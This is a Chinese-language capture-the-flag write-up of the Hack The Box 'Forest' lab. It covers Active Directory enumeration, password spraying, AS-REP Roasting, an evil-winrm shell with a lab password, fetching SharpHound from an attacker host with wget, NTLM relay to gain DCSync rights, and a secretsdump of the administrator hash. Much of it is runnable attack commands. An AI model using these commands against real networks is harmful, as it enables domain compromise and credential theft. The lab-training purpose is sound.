【Hack The Box】windows练习-- forest
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月3日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
出现了几个之前没有遇到过的端口389,5985
我将这两个端口的信息放在下面了
Kerberos (88/TCP) — Windows Kerberos 协议服务。
LDAP (389/TCP) — 活动目录 LDAP。 LDAP 通常提供有关 AD 的详细信息。 而如果允许匿名绑定,我们可以查询到很多好的AD信息,比如用户信息。
SMB (445/TCP) — Windows 服务器消息块 (“SMB”) 协议。 对于 SMB,最好检查它是否允许空会话。 如果允许,例如 LDAP,我们可以枚举许多有用的 AD 信息。
WinRM (5985/TCP) — WS-Management 协议的 Microsoft 实现。 这可以允许通过 PowerShell 进行远程连接。
这意味着如果我可以获得用户的登陆凭据,我就可以获得一个shell,借助winrm工具实现
这个也可以枚举出所有用户,因为同样存在空绑定
rpcclient -U “” -N [IP]
如下即可,存在空绑定(匿名登陆)
首先smp枚举一下,发现可以匿名访问,而如果可以匿名访问,那就可以利用smb枚举用户
enum4linux -v 10.10.10.161
或者单独枚举用户:
enum4linux -U 10.10.10.161
在我们遇到idap的情况下,基本上利用如下几步进行枚举
ldapsearch -H ldap://10.10.10.161 -x -s base '' "(objectClass=*)" "*" + 可以枚举出一些域信息,构成第二部的dc参数
ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local
ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local "(objectClass=person)" | grep "sAMAccountName:"
最后一步枚举用户
接下来,我们可以使用一个非常方便的 Kerberos 密码猜测工具,称为 kerbrute. 当进行内部渗透测试时,基于 Kerberos 的密码猜测优先于 LDAP 或 SMB 等其他密码猜测。 有几个原因,但最大的原因是:
在使用密码列表进行全面的密码猜测之前,我使用详细选项测试了该工具。 它最终发现了一个不需要预身份验证的用户(= svc-alfresco)。
而这种攻击方法,叫做 AS-REP Roasting攻击
这是一种不用先拿域内用户的情况
1. 检查,或者也可以不检查,把所有的用户都跑一遍算求
./kerbrute passwordspray -d htb.local --dc 10.10.10.161 user.txt 'password123' -v 随便用个密码,看看回显示
例如:
2. 收集hash
./GetNPUsers.py htb.local/svc-alfresco -no-pass -dc-ip 10.10.10.161
3. 破解
也可以直接跑所有用户,都行,结果一样,如下图
事实上,ldap ,rpc,smb这几个服务任何一种能够空绑定的话,我们都可以直接收集hash,但是思路不就是玩出来的么。
下面这一步没啥必要,玩玩而已,就是简单的验证这个密码可以在哪里使用
ruby evil-winrm.rb -i 10.129.9.147 -u svc-alfresco -p s3rvice
利用这个shell下载东西可以直接用download
也可以wget
1. 上传ps1脚本
wget http://10.10.14.13/SharpHound.ps1 -o SharpHound.ps1
2. 加载模块
Import-Module .\SharpHound.ps1
3. 运行,生成一个zip
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
4. 下载下来(或者用分享回传方法)
download
5. neo4j console
6. bloodhound
7. 把压缩包拖进去即可
而后访问本地7474端口
用户密码初始都是neo4j
但是登陆之后要改密码
因为我的用户在 Service Account 中,所以我们可以创建一个用户去EXCHANGE WINDO ,这个组内的用户可以实现DCSync,也就是普通用户也能枚举到所有hash。
Domain Admins组内的用户
Enterprise Admins组内的用户
这两个组的用户可以更改acl,所以可以造成DCSync,我们可以手动更改,但我没有实验,我们这里可以利用自动化工具
借助以下方法实现ntml中继(来实现DCSync攻击)
ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user bigb0ss ---创建中继,当访问smb,http等方式访问时会自动检验能否修改acl,如果能,那就自动修改了
访问方法如下
psexec.py htb.local/bigb0ss:bigb0ss@10.10.14.39 smb登陆,或者直接访问127也行
然后就可以枚举了
secretsdump.py htb.local/bigb0ss:bigb0ss@10.10.10.161 -just-dc-user administrator